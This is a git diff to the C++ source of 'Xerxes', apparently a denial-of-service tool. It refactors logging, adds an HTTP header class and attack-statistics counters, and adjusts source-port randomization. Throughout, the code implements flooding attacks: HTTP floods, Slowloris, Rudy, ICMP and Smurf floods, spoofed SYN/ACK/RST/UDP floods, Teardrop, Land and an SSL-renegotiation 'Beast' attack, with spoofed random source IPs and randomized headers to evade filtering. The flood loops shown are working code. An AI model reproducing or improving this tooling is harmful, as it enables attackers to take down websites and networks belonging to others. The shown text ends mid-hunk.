diff --git a/CMakeLists.txt b/CMakeLists.txt index a7c0126..83747ce 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -14,7 +14,7 @@ endif() set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") set(BUILD_SHARED_LIBRARIES OFF) set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") -add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) +add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp Sources/httphdr.cpp Headers/httphdr.hpp Headers/Logging.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) diff --git a/Headers/Attack_Vector.hpp b/Headers/Attack_Vector.hpp index 044b326..b20dce8 100755 --- a/Headers/Attack_Vector.hpp +++ b/Headers/Attack_Vector.hpp @@ -2,7 +2,6 @@ #define XERXES_ATTACK_VECTOR_H #include "Configuration.hpp" -#include "Logger.hpp" class Attack_Vector { friend class Spoofed_Flood; @@ -20,7 +19,7 @@ class Attack_Vector { virtual void pause(); private: - virtual void attack(const int *id) = 0; + virtual void attack() = 0; }; diff --git a/Headers/Beast.hpp b/Headers/Beast.hpp index 98f0bc2..dcf4bf6 100755 --- a/Headers/Beast.hpp +++ b/Headers/Beast.hpp @@ -72,7 +72,7 @@ class Beast : public Attack_Vector { void init(); void update_stat(struct timeval *tv); uint64_t getusec(struct timeval *tv); - void attack(const int *id) override; + void attack() override; }; diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 4331b29..3caeb20 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -4,9 +4,9 @@ #include #include #include +#include #include "Version.hpp" -#include "Logger.hpp" struct Config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, @@ -27,9 +27,34 @@ struct Config{ bool RandomizeSource{false}; bool RandomizePort{false}; int delay{0}; - const std::unique_ptr logger = std::make_unique(Logger::Warning); - const std::unique_ptr> useragents = std::make_unique>(); - + std::vector *useragents = nullptr; + unsigned long long *voly = nullptr; + unsigned long long *req = nullptr; + struct Timer{ + clock_t start_time; + clock_t end_time; + clock_t get(){ + return end_time - start_time; + } + }timer{}; + void show_stat(){ + if((!website.empty()) && (*voly > 0) && (*req > 0)){ + timer.end_time = clock(); + fprintf(stdout, "--- %s Attack statistics ---\n%llu Volys sent, %llu Requests sent, Time %f s\n", + website.c_str(), *voly, *req,((float)timer.get())/CLOCKS_PER_SEC); + } + } + Config(){ + useragents = new std::vector(); + useragents->emplace_back("Wget/1.16 (linux-gnu/Xerxes)"); + voly = new unsigned long long(0); + req = new unsigned long long(0); + } + ~Config(){ + delete useragents; + delete voly; + delete req; + } }; const char Version[] = { diff --git a/Headers/Engine.hpp b/Headers/Engine.hpp index ea551f6..2f6a992 100755 --- a/Headers/Engine.hpp +++ b/Headers/Engine.hpp @@ -2,15 +2,16 @@ #define XERXES_DOSER_H #include "Configuration.hpp" -#include "Logger.hpp" class Engine { public: explicit Engine(std::shared_ptr conf); void run(); + void show_info(); private: std::shared_ptr conf; + void getUserAgents(); }; diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index 4960546..e32c7ab 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -4,9 +4,9 @@ #include #include "Configuration.hpp" -#include "Logger.hpp" #include "Randomizer.hpp" #include "Attack_Vector.hpp" +#include "httphdr.hpp" class Http_Flood : public Attack_Vector { friend class Slowloris; @@ -17,8 +17,8 @@ class Http_Flood : public Attack_Vector { void run() override; private: - void attack(const int *id) override; - virtual void attack_ssl(const int *id); + void attack() override; + virtual void attack_ssl(); virtual int make_socket(const char *host, const char *port, int sock_type); SSL_CTX* InitCTX(); SSL *Apply_SSL(int socket, SSL_CTX *ctx); @@ -29,8 +29,7 @@ class Http_Flood : public Attack_Vector { int write_socket(int socket, const char* string, int length); int write_socket(SSL *ssl, const char* string, int length); const SSL_METHOD *GetMethod(); - virtual void init_header(std::string& header); - virtual void init_header(std::string& header, bool); + virtual void init_header(httphdr *header); }; diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 5ca20ea..cca6b11 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_ICMP_FLOOD_H #define XERXES_ICMP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class ICMP_Flood : public Spoofed_Flood { @@ -8,7 +10,7 @@ class ICMP_Flood : public Spoofed_Flood { explicit ICMP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, icmphdr *icmp, char *buf); void override_headers(icmphdr *tcp, iphdr *ip); diff --git a/Headers/Logger.hpp b/Headers/Logger.hpp deleted file mode 100755 index 35ce1c8..0000000 --- a/Headers/Logger.hpp +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef XERXES_LOGGER_H -#define XERXES_LOGGER_H - -class Logger { -public: - enum Level{None, Error, Warning, Info}; - Logger(); - explicit Logger(Level l); - - void Log(std::string *message, Level l); - void Log(const char* message, Level l); - void setLevel(Level l); - -private: - Level level{Warning}; -}; - - -#endif //XERXES_LOGGER_H diff --git a/Headers/Logging.hpp b/Headers/Logging.hpp new file mode 100644 index 0000000..ed918e1 --- /dev/null +++ b/Headers/Logging.hpp @@ -0,0 +1,15 @@ +#ifndef XERXES_LOGGING_H +#define XERXES_LOGGING_H + +#include + +#define RED "\x1B[31m" // Color Terminal Red +#define YEL "\x1B[33m" // Color Terminal Yellow +#define GRN "\x1B[32m" // Color Terminal Green +#define RESET "\x1B[0m" // Color Terminal Reset color + +#define print_error(err) fprintf(stderr, "%s%s %s%s\n", RED, "[ERROR]:", (err), RESET); +#define print_info(inf) fprintf(stdout, "%s%s %s%s\n", GRN, "[INFO]:", (inf), RESET); +#define print_warning(warn) fprintf(stdout, "%s%s %s%s\n", YEL, "[WARNING]:", (warn), RESET); + +#endif //XERXES_LOGGING_H diff --git a/Headers/Null_Flood.hpp b/Headers/Null_Flood.hpp index fe1517d..c5c206f 100755 --- a/Headers/Null_Flood.hpp +++ b/Headers/Null_Flood.hpp @@ -2,7 +2,6 @@ #define XERXES_NULL_FLOOD_H #include "Configuration.hpp" -#include "Logger.hpp" #include "Http_Flood.hpp" class Null_Flood : public Http_Flood { @@ -10,8 +9,8 @@ class Null_Flood : public Http_Flood { explicit Null_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; - void attack_ssl(const int *id) override; + void attack() override; + void attack_ssl() override; }; diff --git a/Headers/Parser.hpp b/Headers/Parser.hpp index 865bdfa..0e56262 100755 --- a/Headers/Parser.hpp +++ b/Headers/Parser.hpp @@ -21,9 +21,8 @@ class Parser { private: std::shared_ptr conf; void check_root(); - void getUserAgents(); void init_arguments(); - std::map> arguments; + std::map> arguments; }; diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index e00a4ec..e653cee 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -16,69 +16,73 @@ namespace Randomizer{ return distribution(engine); } - static const std::string randomIP(){ - std::string src{std::to_string(randomInt(1, 256))}; - src += "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)); - return src; + static const void randomIP(std::string& src){ + src = std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)); } static int randomPort(){ - return randomInt(0, 65535); + static auto init_s_port = 0; + static int seq = 0; + seq++; + if(init_s_port == 0){ + init_s_port = 1024 + (randomInt(0, 2000)); + return init_s_port; + } + return (seq + init_s_port) % 65536; } - static const std::string randomstr(){ + static const void randomstr(std::string& src){ int string_length = randomInt(0, 20); - std::string string{}; for(int i = 0; i < string_length; i++){ - string += (static_cast('0' + randomInt(0, 72))); + src += (static_cast('0' + randomInt(0, 72))); } - return string; } - static const std::string randomize_Vector(const std::vector &vec){ - return vec[randomInt(0, static_cast(vec.size()) -1)]; + static const void randomize_Vector(const std::vector &vec, std::string& src){ + src = vec[randomInt(0, static_cast(vec.size()) -1)]; } - static const std::string random_referer(){ + static const void random_referer(std::string& src){ static std::vector referer{ "https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; - return randomize_Vector(referer); + randomize_Vector(referer, src); } - static const std::string random_useragent(const std::vector &useragents){ - return randomize_Vector(useragents); + static const void random_useragent(const std::vector &useragents, std::string& src){ + randomize_Vector(useragents, src); } - static const std::string random_encoding(){ + static const void random_encoding(std::string& src){ static std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; - return randomize_Vector(encoding); + randomize_Vector(encoding, src); } - static const std::string random_caching(){ + static const void random_caching(std::string& src){ static std::vector caching{"no-cache", "max-age=0"}; - return randomize_Vector(caching); + randomize_Vector(caching, src); } - static const std::string random_charset(){ + static const void random_charset(std::string& src){ static std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; - return randomize_Vector(charset); + randomize_Vector(charset, src); } - static const std::string random_contenttype(){ + static const void random_contenttype(std::string& src){ static std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; - return randomize_Vector(contenttype); + randomize_Vector(contenttype, src); } - static const std::string random_method(){ + static const void random_method(std::string& src){ static std::vector methods{"GET", "HEAD"}; - return randomize_Vector(methods); + randomize_Vector(methods, src); } } diff --git a/Headers/Slowloris.hpp b/Headers/Slowloris.hpp index 009a7e0..027aca0 100755 --- a/Headers/Slowloris.hpp +++ b/Headers/Slowloris.hpp @@ -2,7 +2,6 @@ #define XERXES_SLOWLORIS_H #include "Configuration.hpp" -#include "Logger.hpp" #include "Randomizer.hpp" #include "Http_Flood.hpp" @@ -11,9 +10,9 @@ class Slowloris : public Http_Flood { explicit Slowloris(std::shared_ptr conf); private: - void attack(const int *id) override; - void attack_ssl(const int *id) override; - void init_header(std::string& header, bool keep_alive) override; + void attack() override; + void attack_ssl() override; + void init_header(httphdr *header) override; }; diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index fb4eae6..380d40e 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -2,12 +2,8 @@ #define XERXES_SPOOFED_FLOOD_H #include -#include -#include -#include #include "Configuration.hpp" -#include "Logger.hpp" #include "Attack_Vector.hpp" class Spoofed_Flood : public Attack_Vector { diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 9e0a30f..994e6bf 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_SPOOFED_TCP_FLOOD_H #define XERXES_SPOOFED_TCP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class Spoofed_TCP_Flood : public Spoofed_Flood { @@ -8,7 +10,7 @@ class Spoofed_TCP_Flood : public Spoofed_Flood { explicit Spoofed_TCP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, tcphdr *tcp, char *buf); void override_headers(tcphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index 409ef0c..e21ae68 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -1,6 +1,8 @@ #ifndef XERXES_SPOOFED_UDP_FLOOD_H #define XERXES_SPOOFED_UDP_FLOOD_H +#include + #include "Spoofed_Flood.hpp" class Spoofed_UDP_Flood : public Spoofed_Flood { @@ -8,7 +10,7 @@ class Spoofed_UDP_Flood : public Spoofed_Flood { explicit Spoofed_UDP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, udphdr *udp, char *buf); void override_headers(udphdr *udp, iphdr *ip); }; diff --git a/Headers/Version.hpp b/Headers/Version.hpp index a069db3..0b4117f 100755 --- a/Headers/Version.hpp +++ b/Headers/Version.hpp @@ -3,7 +3,7 @@ #define VERSION_MAJOR 1 -#define VERSION_MINOR 3 +#define VERSION_MINOR 4 #define BUILD_YEAR_CH0 (__DATE__[ 7]) diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp new file mode 100644 index 0000000..bc7bd51 --- /dev/null +++ b/Headers/httphdr.hpp @@ -0,0 +1,40 @@ +#ifndef XERXES_HTTPHDR_H +#define XERXES_HTTPHDR_H + + +#include +#include + +class httphdr { +public: + httphdr& operator=(std::string& header) noexcept; + httphdr& operator=(httphdr&& header) noexcept; + httphdr(); + virtual ~httphdr(); + void generate(); + void generate_unterminated(); + const char *get(); + unsigned long length(); + + std::string method{}; + std::string path{}; + std::string useragent{}; + std::string cache_control{}; + std::string encoding{}; + std::array charset{}; + std::string referer{}; + std::string content_type{}; + std::array cookie{}; + std::string connection_type{}; + int keep_alive = 0; + int DNT = 0; + std::string accept{}; + int content_length = 0; + + +private: + std::string *hdr = nullptr; +}; + + +#endif //XERXES_HTTPHDR_H diff --git a/README.md b/README.md index 7b00cc7..484f68c 100755 --- a/README.md +++ b/README.md @@ -47,10 +47,6 @@ Options:\      -ru     randomize HTTP UserAgent\      -rs     randomize Source IP\      -rp     randomize Source Port\ -     -qq     set verbosity to quiet quiet\ -     -q      set verbosity to quiet\ -     -v      set verbosity to verbose\ -     -vv     set verbosity to very verbose\      -D      set delay in microseconds\      -T      set number of threads\      -C      set number of connections per thread\ diff --git a/Sources/Attack_Vector.cpp b/Sources/Attack_Vector.cpp index 3187edd..0909aea 100755 --- a/Sources/Attack_Vector.cpp +++ b/Sources/Attack_Vector.cpp @@ -1,5 +1,5 @@ #include -#include + #include "../Headers/Attack_Vector.hpp" Attack_Vector::Attack_Vector(std::shared_ptr conf) : conf{std::move(conf)}{ @@ -8,7 +8,7 @@ Attack_Vector::Attack_Vector(std::shared_ptr conf) : conf{std::move(conf void Attack_Vector::run() { for (int x = 0; x < conf->THREADS; x++) { if(fork()){ - attack(&x); + attack(); } } getc(stdin); diff --git a/Sources/Beast.cpp b/Sources/Beast.cpp index 3bb0019..c291de2 100755 --- a/Sources/Beast.cpp +++ b/Sources/Beast.cpp @@ -2,17 +2,16 @@ #include #include #include -#include #include #include "../Headers/Beast.hpp" +#include "../Headers/Logging.hpp" Beast::Beast(std::shared_ptr conf) : Attack_Vector(std::move(conf)) { } -void Beast::attack(const int *id) { - std::string message{}; +void Beast::attack() { init(); fd_set rfds; fd_set wfds; @@ -35,15 +34,15 @@ void Beast::attack(const int *id) { } } if(n < 0){ - conf->logger->Log("Select()", Logger::Error); + print_error("Select()"); exit(EXIT_FAILURE); } int end = opt.n_peers; for(int i = 0; i < end; i++){ if((peers[i].state == TCP_CONNECTING) && (peers[i].tv_connect_sec + TO_TCP_CONNECT < tv.tv_sec)){ - message = "Connection timed out: "; - message += std::to_string(i); - conf->logger->Log(&message, Logger::Warning); + char message[512]; + snprintf(message, sizeof(message), "Connection timed out: %d", i); + print_warning(message); PEER_disconnect(&peers[i]); continue; } @@ -58,9 +57,9 @@ void Beast::attack(const int *id) { PEER_write(&peers[i]); continue; } + (*conf->req)++; } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } @@ -99,7 +98,7 @@ void Beast::SSL_set_rw(_peer *p, int ret) { break; default: if(opt.stat.total_ssl_connect <= 0){ - conf->logger->Log("Ssl error", Logger::Error); + print_error("SSL error"); exit(EXIT_FAILURE); } opt.stat.error_count++; @@ -133,7 +132,7 @@ int Beast::ssl_handshake_io(_peer *p) { int err = SSL_get_error(p->ssl, ret); if((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE)){ if(opt.stat.total_renegotiations <= 0){ - conf->logger->Log("Renegotiations error", Logger::Error); + print_error("Renegotiations error"); exit(EXIT_FAILURE); } } @@ -191,7 +190,7 @@ void Beast::PEER_SSL_connect(_peer *p) { void Beast::PEER_connect(_peer *p) { if (tcp_connect(p) != 0){ - conf->logger->Log("Tcp_connect()", Logger::Error); + print_error("Tcp_connect()"); exit(EXIT_FAILURE); } } @@ -232,7 +231,7 @@ int Beast::tcp_connect_try_finish(_peer *p, int ret) { if(ret != 0){ if((errno != EINPROGRESS) && (errno != EAGAIN)){ if(opt.stat.total_tcp_connections <= 0){ - conf->logger->Log("Tcp connect", Logger::Error); + print_error("Tcp connect"); exit(EXIT_FAILURE); } return -1; @@ -298,7 +297,7 @@ void Beast::CompleteState(_peer *p) { }else{ if(opt.n_peers < opt.n_max_peers){ if(peers[opt.n_peers].state != UNKNOWN){ - conf->logger->Log("Tnternal error", Logger::Error); + print_error("Tnternal error"); exit(EXIT_FAILURE); } PEER_disconnect(&peers[opt.n_peers]); @@ -309,7 +308,7 @@ void Beast::CompleteState(_peer *p) { case SSL_CONNECTING: ret = ssl_connect_io(p); if(ret != 0){ - conf->logger->Log("Ssl_connect_io()", Logger::Error); + print_error("SSL_connect_io()"); exit(EXIT_FAILURE); } break; @@ -328,7 +327,7 @@ void Beast::CompleteState(_peer *p) { } break; default: - conf->logger->Log("Unknown state", Logger::Error); + print_error("Unknown state"); exit(EXIT_FAILURE); } } diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp index 4329c4a..c2a816f 100755 --- a/Sources/Engine.cpp +++ b/Sources/Engine.cpp @@ -1,117 +1,130 @@ -#include -#include #include -#include +#include +#include +#include + #include "../Headers/Engine.hpp" #include "../Headers/Attack_Vectors.hpp" +#include "../Headers/Logging.hpp" void Engine::run() { std::unique_ptr flood; - std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " - + std::to_string(conf->THREADS) + " Threads, " - + std::to_string(conf->CONNECTIONS) + " Connections"; - conf->logger->Log(&message, Logger::Warning); - message = "Delay: " + std::to_string(conf->delay) + " microsecs"; - conf->logger->Log(&message, Logger::Warning); + show_info(); switch(conf->vector){ - case Config::HTTP: - conf->logger->Log("Attack Vector: HTTP", Logger::Info); - flood = std::make_unique(conf); - break; case Config::NullTCP: - conf->logger->Log("Attack Vector: NullTCP", Logger::Info); - flood = std::make_unique(conf); - break; case Config::NullUDP: - conf->logger->Log("Attack Vector: NullUDP", Logger::Info); flood = std::make_unique(conf); break; + case Config::HTTP: case Config::UDPFlood: - conf->logger->Log("Attack Vector: UDPFlood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::TCPFlood: - conf->logger->Log("Attack Vector: TCPFlood", Logger::Info); flood = std::make_unique(conf); break; case Config::Slowloris: - conf->logger->Log("Attack Vector: Slowloris", Logger::Info); - flood = std::make_unique(conf); - break; case Config::Rudy: - conf->logger->Log("Attack Vector: Rudy", Logger::Info); flood = std::make_unique(conf); break; + case Config::Smurf: case Config::ICMPFlood: - conf->logger->Log("Attack Vector: ICMP Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::Blacknurse: - conf->logger->Log("Attack Vector: Black Nurse", Logger::Info); flood = std::make_unique(conf); break; + case Config::Land: case Config::SpoofedSyn: - conf->logger->Log("Attack Vector: Spoofed Syn Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::SpoofedAck: - conf->logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::SpoofedRST: - conf->logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::SpoofedURG: - conf->logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::SpoofedPUSH: - conf->logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); - flood = std::make_unique(conf); - break; case Config::SpoofedFin: - conf->logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); flood = std::make_unique(conf); break; + case Config::TearDrop: case Config::SpoofedUDP: - conf->logger->Log("Attack Vector: Spoofed UDP", Logger::Info); flood = std::make_unique(conf); break; case Config::Beast: - conf->logger->Log("Attack Vector: Beast", Logger::Info); flood = std::make_unique(conf); break; - case Config::TearDrop: - conf->logger->Log("Attack Vector: Teardrop", Logger::Info); - flood = std::make_unique(conf); - break; - case Config::Land: - conf->logger->Log("Attack Vector: Land", Logger::Info); - flood = std::make_unique(conf); - break; - case Config::Smurf:{ - conf->logger->Log("Attack Vector: Smurf", Logger::Info); - flood = std::make_unique(conf); - break; - } default:break; } + conf->timer.start_time = clock(); + flood->run(); +} + +Engine::Engine(std::shared_ptr conf) : conf{std::move(conf)}{ + +} + +void Engine::show_info() { + char message[512]{}; + snprintf(message, sizeof(message), "Attacking %s:%s with %d Threads, %d Connections", + conf->website.c_str(), conf->port.c_str(), conf->THREADS, conf->CONNECTIONS); + print_info(message); + snprintf(message, sizeof(message), "Delay: %d microsecs", conf->delay); + print_info(message); + std::map title{}; + title[Config::HTTP] = "HTTP"; + title[Config::NullTCP] = "NullTCP"; + title[Config::NullUDP] = "NullUDP"; + title[Config::UDPFlood] = "UDPFlood"; + title[Config::TCPFlood] = "TCPFlood"; + title[Config::Slowloris] = "Slowloris"; + title[Config::Rudy] = "Rudy"; + title[Config::ICMPFlood] = "ICMP Flood"; + title[Config::Blacknurse] = "Black Nurse"; + title[Config::SpoofedSyn] = "Spoofed Syn Flood"; + title[Config::SpoofedAck] = "Spoofed Ack Flood"; + title[Config::SpoofedFin] = "Spoofed Fin Flood"; + title[Config::SpoofedPUSH] = "Spoofed Push Flood"; + title[Config::SpoofedRST] = "Spoofed Rst Flood"; + title[Config::SpoofedURG] = "Spoofed Urg Flood"; + title[Config::SpoofedUDP] = "Spoofed UDP"; + title[Config::TearDrop] = "Teardrop"; + title[Config::Beast] = "Beast"; + title[Config::Land] = "Land"; + title[Config::Smurf] = "Smurf"; + + snprintf(message, sizeof(message), "Attack Vector: %s", title[conf->vector]); + print_info(message); + if(conf->UseSSL){ - conf->logger->Log("SSL Enabled", Logger::Info); + print_info("SSL Enabled"); } if(conf->RandomizeHeader){ - conf->logger->Log("Header Randomization Enabled", Logger::Info); + print_info("Header Randomization Enabled"); } if(conf->RandomizeUserAgent){ - conf->logger->Log("Useragent Randomization Enabled", Logger::Info); + getUserAgents(); + snprintf(message, sizeof(message), "Useragent Randomization Enabled(%lu Useragents loaded)", + conf->useragents->size()); + print_info(message); + + } + if(conf->RandomizeSource){ + print_info("Source Randomization Enabled"); + } + if(conf->RandomizePort){ + print_info("Port Randomization Enabled"); } - conf->logger->Log("Press to stop\n", Logger::Info); - usleep(1000000); - flood->run(); -} -Engine::Engine(std::shared_ptr conf) : conf{std::move(conf)}{ + fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); + +} +void Engine::getUserAgents() { + std::ifstream filestream("useragents"); + std::string line{}; + if(filestream.good() & filestream.is_open()){ + long count = std::count(std::istreambuf_iterator(filestream), std::istreambuf_iterator(), '\n'); + filestream.clear(); + filestream.seekg(0, std::ios::beg); + conf->useragents->reserve(static_cast(count) +1); + while(getline(filestream, line)){ + conf->useragents->emplace_back(line); + } + filestream.close(); + }else{ + print_warning("Unable to find useragents file"); + } } diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 59e1c46..db288d5 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -1,10 +1,11 @@ #include #include -#include #include #include #include "../Headers/Http_Flood.hpp" +#include "../Headers/httphdr.hpp" +#include "../Headers/Logging.hpp" Http_Flood::Http_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ @@ -15,9 +16,9 @@ void Http_Flood::run() { for (int x = 0; x < conf->THREADS; x++) { if(fork()){ if(conf->UseSSL){ - attack_ssl(&x); + attack_ssl(); }else{ - attack(&x); + attack(); } } } @@ -27,14 +28,13 @@ void Http_Flood::run() { int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { struct addrinfo hints{}, *servinfo, *p; int sock = 0, r; - std::string message = std::string("Connecting-> ") + host + ":" + port; - conf->logger->Log(&message, Logger::Info); bzero(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = sock_type; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { - message = std::string("Getaddrinfo-> ") + gai_strerror(r); - conf->logger->Log(&message, Logger::Error); + char message[512]; + snprintf(message, sizeof(message), "Getaddrinfo-> %s", gai_strerror(r)); + print_error(message); exit(EXIT_FAILURE); } for(p = servinfo; p != nullptr; p = p->ai_next) { @@ -51,14 +51,12 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { if(servinfo){ freeaddrinfo(servinfo); } - conf->logger->Log("No connection could be made", Logger::Error); + print_error("No connection could be made"); exit(EXIT_FAILURE); } if(servinfo){ freeaddrinfo(servinfo); } - message = std::string("Connected-> ") + host + ":" + port; - conf->logger->Log(&message, Logger::Info); return sock; } @@ -68,7 +66,7 @@ SSL_CTX *Http_Flood::InitCTX() { SSL_CTX *ctx; ctx = SSL_CTX_new(method); if (ctx == nullptr){ - conf->logger->Log("Unable to connect using ssl", Logger::Error); + print_error("Unable to connect using ssl"); exit(EXIT_FAILURE); } return ctx; @@ -78,7 +76,7 @@ SSL *Http_Flood::Apply_SSL(int socket, SSL_CTX *ctx) { SSL *ssl = SSL_new(ctx); SSL_set_fd(ssl, socket); if(SSL_connect(ssl) == -1){ - conf->logger->Log("Unable to connect using ssl", Logger::Error); + print_error("Unable to connect using ssl"); exit(EXIT_FAILURE); } return ssl; @@ -116,43 +114,35 @@ int Http_Flood::write_socket(SSL *ssl, const char *string, int length) { return (SSL_write(ssl, string, length)); } -void Http_Flood::attack(const int *id) { - int r; +void Http_Flood::attack() { std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); } - std::string header{}; - init_header(header); - if((r = write_socket(sockets[x], header.c_str(), header.length())) == -1){ + httphdr header{}; + init_header(&header); + if((write_socket(sockets[x], header.get(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->req)++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + (*conf->voly)++; pause(); } } -void Http_Flood::attack_ssl(const int *id) { - int r; +void Http_Flood::attack_ssl() { std::vector sockets; std::vector CTXs; std::vector SSLs; @@ -165,16 +155,15 @@ void Http_Flood::attack_ssl(const int *id) { CTXs.emplace_back(nullptr); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); } - std::string header{}; - init_header(header); - if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ + httphdr header{}; + init_header(&header); + if((write_socket(SSLs[x], header.get(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); @@ -183,15 +172,10 @@ void 